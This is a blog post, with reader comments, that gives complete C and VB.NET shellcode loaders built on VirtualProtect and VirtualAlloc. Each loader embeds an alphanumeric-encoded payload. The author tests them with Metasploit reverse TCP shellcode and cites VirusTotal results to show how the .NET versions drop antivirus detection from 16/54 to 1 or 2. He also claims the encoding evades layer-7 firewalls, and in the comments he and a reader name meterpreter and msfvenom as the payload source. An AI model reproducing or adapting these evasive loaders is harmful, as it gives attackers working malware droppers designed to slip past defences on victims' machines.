In the world of Windows you can execute shellcode using the VirtualAlloc and VirtualProtect Windows APIs. There are also few more APIs we can use to do the same task but different techniques involved.
VirtualProtect
This is how MSDN explains this:
Changes the protection on a region of committed pages in the virtual address space of the calling process.
[code language=”c”]
BOOL WINAPI VirtualProtect(
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpflOldProtect
);
[/code]
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx
Basically we can make our shellcode memory region executable and invoke it using this API. We use the PAGE_EXECUTE_READWRITE as the memory protection constant for the flNewProtect parameter to make our page RWX.
Hereās an example using C which I have implemented.
[code language=”c”]
/*
CC-By: Osanda Malith Jayathissa (@OsandaMalith)
Executing Shellcode using VirtualProtect
Website: https://osandamalith.com
https://creativecommons.org/licenses/by/3.0/
*/
# include <stdlib.h>
# include <stdio.h>
# include <string.h>
# include <windows.h>
int main() {
// Calc Shellcode
char *shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA";
DWORD oldProtect;
BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
if (!ret) {
fprintf(stderr, "%s", "Error Occured");
return EXIT_FAILURE;
}
((void(*)(void))shellcode)();
VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);
return EXIT_SUCCESS;
}
[/code]
For all virus scans in this post I have used the metasploitās reverse tcp shellcode.
This result is using the MinGW compiler
http://image.prntscr.com/image/44c5f7c95e5a4bf5a4e72ecdc03f3acd.png
https://virustotal.com/en/file/388466e6dbd4eac66ff725f91ca1fddb98f0f6b8c47a992ffe0a4dc68a0c6d60/analysis/1469980144/
However my code crashed under Visual C.
You can see the detection rate is little high because we are dealing with native code. What if we try to implement the same thing using .NET? It uses MSIL and we might have a chance of making the detection rate a bit lower.
In the world of .NET thereās this battle in managed and unmanaged resources. Basically the garbage collector knows about all the managed objects and will eventually clean up all the memory and resources associated with a managed object. The garbage collector doesnāt know about unmanaged resources, such as files, stream and handles. So porting this native code to .NET is very challenging at first. But thanks to MSDN which helps us in figuring out a way.
We use the GCHandle.Alloc Method to allocate our shellcode region to a Pinned GCHandle Type. This will make our object pinned and will prevent the garbage collector from moving the object. Pinning an object prevents the garbage collector from moving it around in memory.
[code language=”vb”]
Dim GC As GCHandle = GCHandle.Alloc(shell, GCHandleType.Pinned)
Dim hAddr As Integer = GC.AddrOfPinnedObject.ToInt32
GC.Free()
[/code]
We use a function pointer in C to execute our shellcode. Likewise in .NET we have to use an unmananaged Function pointer.
[code language=”vb”]
<UnmanagedFunctionPointer(CallingConvention.Cdecl)>
Public Delegate Function ExecuteDelegate() As Integer
[/code]
Next we use Marshal.GetDelegateForFunctionPointer which converts an unmanaged function pointer to a delegate and it will return us a delegate instance that can be casted to the appropriate delegate type. We can use DirectCast for this purpose and execute our shellcode.
[code language=”vb”]
DirectCast(Marshal.GetDelegateForFunctionPointer(baseAddr, GetType(ExecuteDelegate)), ExecuteDelegate)()
[/code]
Hereās the full source code.
[code language=”vb”]
#If AFAC Then
CC-By: Osanda Malith Jayathissa (@OsandaMalith)
Executing Shellcode using VirtualProtect in VB.NET
Website: https://osandamalith.com
https://creativecommons.org/licenses/by/3.0/
#End If
Imports System
Imports System.Runtime.InteropServices
Public Class Form1
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
‘ Calc Shellcode
Dim shellcode As String = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA"
Dim shell_array(shellcode.Length – 1) As Byte
Dim i As Integer = 0
Do
shell_array(i) = Convert.ToByte(shellcode(i))
i = i + 1
Loop While i < shellcode.Length
Dim oldProtect As UInt32
VirtualProtect(VarPtr(shell_array), New UIntPtr(CType(shell_array.Length, UInt32)), MemoryProtection.EXECUTE_READWRITE, oldProtect)
Try
DirectCast(Marshal.GetDelegateForFunctionPointer(VarPtr(shell_array), GetType(ExecShellcode)), ExecShellcode)()
Finally
VirtualProtect(VarPtr(shell_array), New UIntPtr(CType(shell_array.Length, UInt32)), oldProtect, oldProtect)
End Try
End Sub
Function VarPtr(ByVal shell As Object) As Integer
Dim GC As GCHandle = GCHandle.Alloc(shell, GCHandleType.Pinned)
Dim hAddr As Integer = GC.AddrOfPinnedObject.ToInt32
GC.Free()
Return hAddr
End Function
<DllImport("kernel32.dll", CharSet:=CharSet.None, ExactSpelling:=False, SetLastError:=True)>
Private Shared Function VirtualProtect(
ByVal lpAddress As IntPtr,
ByVal dwSize As UIntPtr,
ByVal flNewProtect As UInt32,
<Out()> ByRef lpflOldProtect As UInt32) As Boolean
End Function
<UnmanagedFunctionPointer(CallingConvention.Cdecl)>
Public Delegate Function ExecShellcode() As Integer
<Flags>
Public Enum AllocationType As UInteger
COMMIT = 4096
RESERVE = 8192
RESET = 524288
TOP_DOWN = 1048576
WRITE_WATCH = 2097152
PHYSICAL = 4194304
LARGE_PAGES = 536870912
End Enum
Public Enum FreeType As UInteger
MEM_DECOMMIT = 16384
MEM_RELEASE = 32768
End Enum
<Flags>
Public Enum MemoryProtection As UInteger
NOACCESS = 1
[READONLY] = 2
READWRITE = 4
WRITECOPY = 8
EXECUTE = 16
EXECUTE_READ = 32
EXECUTE_READWRITE = 64
EXECUTE_WRITECOPY = 128
GUARD_Modifierflag = 256
NOCACHE_Modifierflag = 512
WRITECOMBINE_Modifierflag = 1024
End Enum
End Class
[/code]
Now the detection rate is just 2.
http://image.prntscr.com/image/4cb51a1bfe8a490394d4a1fe7b10f600.png
https://virustotal.com/en/file/638050acc67b742ca7603baa26f6b5b62835955b63f629c8b9b72f74d9546742/analysis/1469982161/
VirtualAlloc
This is how MSDN explains this API.
Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero.
[code language=”c”]
LPVOID WINAPI VirtualAlloc(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
[/code]
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx
We can allocate RWX memory using this API and then copy our shellcode to the allocated memory region and then invoke it.
Hereās an example using C.
[code language=”c”]
/*
CC-By: Osanda Malith Jayathissa (@OsandaMalith)
Executing Shellcode using VirtualAlloc
Website: https://osandamalith.com
https://creativecommons.org/licenses/by/3.0/
*/
# include <stdlib.h>
# include <stdio.h>
# include <string.h>
# include <windows.h>
int main(void) {
// Calc Shellcode
char *shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA";
BOOL *exec = VirtualAlloc(0, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!exec) {
fprintf(stderr, "%s", "Error Occured");
return EXIT_FAILURE;
}
memcpy(exec, shellcode, strlen(shellcode));
((void (*)())exec)();
VirtualFree(exec, 0, MEM_RELEASE);
return EXIT_SUCCESS;
}
[/code]
Once compiled in Visual C you can see the detection rate is very high in this case. It’s 16/54.
http://image.prntscr.com/image/20b39d2578c2492681b44f5edc3ee0f4.png
https://virustotal.com/en/file/c6c198a79674cd65333e7202f003d9c3458422e995f53db3bbb24d99ed6b130c/analysis/1469980854/
In MinGW the detection rate is a bit low compared to Visual C.
http://image.prntscr.com/image/0c2039be774145df96071d2747e48e71.png
https://virustotal.com/en/file/76b6f690992b63017ad7251101de2e1efa3bbd8e564ca54d6d9a905ab5f7cf5c/analysis/1470017283/
When we are porting this to .NET the same things apply as Iāve said before. Instead of memcpy we use Marshal.Copy to copy our shellcode array to unmanaged memory allocated by VirtualAlloc.
Hereās the full source code.
[code language=”vb”]
#If AFAC Then
CC-By: Osanda Malith Jayathissa (@OsandaMalith)
Executing Shellcode using VirtualAlloc in VB.NET
Website: https://osandamalith.com
https://creativecommons.org/licenses/by/3.0/
#End If
Imports System
Imports System.Runtime.InteropServices
Public Class Form1
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
‘ Calc Shellcode
Dim shellcode As String = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA"
Dim shell_array(shellcode.Length – 1) As Byte
Dim i As Integer = 0
Do
shell_array(i) = Convert.ToByte(shellcode(i))
i = i + 1
Loop While i < shellcode.Length
Dim baseAddr As IntPtr = VirtualAlloc(IntPtr.Zero, New UIntPtr(CType(shell_array.Length, UInt32)), AllocationType.COMMIT Or AllocationType.RESERVE, MemoryProtection.EXECUTE_READWRITE)
Try
Marshal.Copy(shell_array, 0, baseAddr, CInt(shell_array.Length))
DirectCast(Marshal.GetDelegateForFunctionPointer(baseAddr, GetType(ExecuteDelegate)), ExecuteDelegate)()
Finally
VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE)
End Try
End Sub
<DllImport("kernel32.dll", CharSet:=CharSet.None, ExactSpelling:=False, SetLastError:=True)>
Private Shared Function VirtualAlloc(
ByVal lpAddress As IntPtr,
ByVal dwSize As UIntPtr,
ByVal flAllocationType As AllocationType,
ByVal flProtect As MemoryProtection) As IntPtr
End Function
<DllImport("kernel32.dll", CharSet:=CharSet.None, ExactSpelling:=False)>
Private Shared Function VirtualFree(
ByVal lpAddress As IntPtr,
ByVal dwSize As UInteger,
ByVal dwFreeType As FreeType) As Boolean
End Function
<Flags>
Public Enum AllocationType As UInteger
COMMIT = 4096
RESERVE = 8192
RESET = 524288
TOP_DOWN = 1048576
WRITE_WATCH = 2097152
PHYSICAL = 4194304
LARGE_PAGES = 536870912
End Enum
<UnmanagedFunctionPointer(CallingConvention.Cdecl)>
Public Delegate Function ExecuteDelegate() As Integer
Public Enum FreeType As UInteger
MEM_DECOMMIT = 16384
MEM_RELEASE = 32768
End Enum
<Flags>
Public Enum MemoryProtection As UInteger
NOACCESS = 1
[READONLY] = 2
READWRITE = 4
WRITECOPY = 8
EXECUTE = 16
EXECUTE_READ = 32
EXECUTE_READWRITE = 64
EXECUTE_WRITECOPY = 128
GUARD_Modifierflag = 256
NOCACHE_Modifierflag = 512
WRITECOMBINE_Modifierflag = 1024
End Enum
End Class
[/code]
When we look at the detection rate you can see only 1 which is a very low detection rate.
http://image.prntscr.com/image/34229b9d53e44ec7bb078f8990ace22b.png
https://virustotal.com/en/file/d21c64b0326994214906ddd9387c3590d2d7bd5367c0bbd5b35377c4d994cb0a/analysis/1469982240/
Since we are using printable ASCII characters we can bypass application firewalls which operate at layer 7 of the OSI stack. Usually they detect non printable ASCII characters such as 00 FF.
You can find the full source code for both at my GitHub: https://github.com/OsandaMalith/VBShellCode
What is the type of the shell code used in the code ?.
what tool is used to generate it ?
Thank you in advance : )
I have used meterpreter to generate the shellcode.
Can you make a video of how you generated the shell code?
Thanks for the post.
Use msfvenom š
Can not get Metasploit framework for windows 32 bits, is there any other tool for windows that generates that shellcode format?